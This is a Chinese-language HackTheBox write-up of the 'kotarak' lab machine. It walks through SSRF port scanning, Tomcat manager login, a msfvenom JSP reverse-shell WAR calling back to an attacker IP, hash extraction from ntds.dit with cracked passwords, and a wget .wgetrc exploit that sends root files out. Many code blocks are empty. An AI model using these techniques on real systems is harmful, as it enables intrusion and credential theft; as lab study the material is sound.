kotarak(从ssrf到提权-ntds-dit提取密码)
本文首发于先知社区
前言
hackthebox是一个在线的渗透平台,通过渗透获取邀请码,即可在这个平台上注册一个账号。
该平台的在线靶机一共20台,每周会下线一台靶机,如果靶机下线了呢,分数就会全部清空。而成功渗透靶机就能获取一定的分数,分数够了就能提升等级。
在线的靶机都是没有writeup的,所以你的等级很大程度可以证明你的渗透实战能力。
该平台一共7个用户等级,刚注册是等级Noob:
- Noob 无知者
- script kiddle 脚本小子
- hacker 黑客
- Pro hacker 专业黑客
- Elite Hacker 精英黑客
- Guru 大师
- Omniscient (最高等级)无所不知者
靶机的分数为20-50分
- 20分-easy 简单
- 30分-medium 中等难度
- 40分-hard 困难的
- 50分-Insane 疯狂的
下面介绍关于过期的机器kotarak的渗透过程,难度等级为hard。
扫描
用masscan与Nmap工具分别输入以下指令:
1 |
|
扫描结果提示,22、8080、8009以及60000端口开放。
8080web探测
首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。
1 |
|
发现基本上都是302重定向。
于是访问下 http://10.10.10.55:8080/manager
发现302重定向到http://10.10.10.55:8080/manager/
并且状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:
/manager/html for the HTML GUI
/manager/text for the text interface
/manager/jmxproxy for the JMX proxy
/manager/status for the status pages
我们就按照所说的访问一下。发现所给的urls都需要登陆才能访问。
再搜索下 Apache Tomcat 8.5.5。参考
tomcat是java web服务器
尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。
60000端口-web探测
SSRF-服务端请求伪造
没有经验的小白先跟whale学习下。
该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。
客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)
攻击方式:
客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)
服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。
1 |
|
Trying
1
2
3python -m SimpleHTTPServer
ifconfig
在本地开启服务器,查看本地ip。尝试用浏览器上的该功能访问下本地,是否成功。
输入http://本地ip:8000
浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000
成功访问客户端本地地址。Trying
然后尝试ssrf,提交file:///etc/passwd
返回try harder
尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。
- Trying
尝试http://localhost:60000
返60000端口上的正常页面。
因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。
wfuzz
- 这是一个web扫描软件
可以用wfuzz -h
查看使用方式
我们使用下列参数,扫描服务器开放的端口wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
扫描后,我们得到了非2 Ch的响应结果。
看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。
trying
一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口
在888端口,找到了一个备份页面backup。Trying
http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup
得到了可能是tomcat配置文件中的用户名密码。
(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)
我们用这个口令登陆端口扫描那一步获得的地址manager/html
获取shell
刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。
因为主页面上有上传功能,提示:
1 |
|
暗示了我们可以上传一个war类型的反弹shell。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f war > ippsec.war
War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。
- Trying
成功上传——本地nc监听80端口nc -lnvp 1234
——浏览器访问payload地址,即可获得一个shell。
- shell中运行
python -c 'import pty;pty.spawn("/bin/bash")'
于是获得一个bash shell。
- find . -name “user.txt” 2>/dev/null
/home/atanas/user.txt
无读取选项
用户提权
经过之前步骤,我们获得了一个tomcat用户权限的shell,可以看到有一些文件是不允许访问的。接下来看看如何获取root权限。
cd /home/tomcat/to_archive/pentest_data
在用户家目录下,发现一个ntds.dit文件。以前没做过域渗透,(⊙﹏⊙)稍微去了解了下,ntds.dit即目录数据库,用于windows域。
文件传输
将那两个文件用nc发送到攻击机本地
1 |
|
同样的方式,把另一个文件用ntds.dit作为文件名传送到本地
方法二:
发现nc传输,当文件大时,十分不方便
远程shell:python -m SimpleHTTPServer 7788
本地kali:
1 |
|
工具介绍
安装
简而言之,下面的工具就是用来提取目录数据库中保存的hash的。
libesedb
1 |
|
ntdsxtract
1 |
|
使用方法:
1 |
|
复制2b576acbe6bcfda7294d6bd18041b8fe,在在线密码破解网站https://crackstation.net/
用户名 | 密码 |
---|---|
Administrator | f16tomcat! |
atanas | Password123! |
krbtgt | 破解失败 |
su atanas
用atanas
作为用户名,f16tomcat!
作为密码,成功获得atanas用户权限
获得user flagcat ~/user.txt
root提权
kali:python -m SimpleHTTPServer 80
远程shell:
1 |
|
find . -name “root.txt” 2>/dev/null
未找到
线索app.log
app.log暗示了我们10.0.3.133的wget版本Wget/1.16
wget -V
,发现主机10.10.10.55的Wget版本为 1.17.1
有一个主机10.0.3.133,每两分钟获取主机10.10.10.55的/archive.tar.gz文件。
1 |
|
查看40064.txt
信息搜集
ifconfig
1 |
|
arp -a
查看本地arp缓存表。
显示局域网ip有两个,10.10.10.2
10.10.3.133
shell终端运行nmap,显示不能用。
那么用nc来扫描端口:nc -v 10.10.3.133 445
nc -v 10.10.3.133 3389
nc -v 10.10.3.133 22
只有22端口显示succeeded。
这一步骤为了确定ip133的是什么机器,显然是linux机器。
看来我们要提权10.10.3.133的root权限,来获得root.txt
wget漏洞利用
利用思路
当133主机请求10.0.3.1的archive存档文件时候,3.1会提示404不存在。
如果我们用kali开启ftp服务,并且让3.1重定向到kali-ftp,于是133主机就会取回.wgetrc作为全局初始化配置文件。
.wgetrc提示发送/root/root.txt,于是133就将本机的机密文件发送给了10.0.3.1
利用过程
kali-ip : touch exp.py
touch .wgetrc
.wgetrc文件内容,保存的绝对路径为/root/.wgetrc
1 |
|
wgetrc是一个全局初始启动的配置文件
post-file选项使你选择一个具体的文件发送
output_document选项,使下载的文件以你设置的文件名保存
exp.py内容
https://raw.githubusercontent.com/Teckk2/Teck_k2/master/Kotarak-wget.py
将exp修改ftp的ip为kali的,然后上传至10.10.10.55。
kali:
1 |
|
kali上传wget.py到远程主机:python -m SimpleHTTPServer 8080
远程shell :
1 |
|
稍等两分钟,10.10.10.55的shell就会返回执行结果,成功获得10.10.3.133的/root/root.txt文件。
如果将.wgetrc文件进行修改,即可获得任意10.10.3.133的文件,包括/etc/shadow。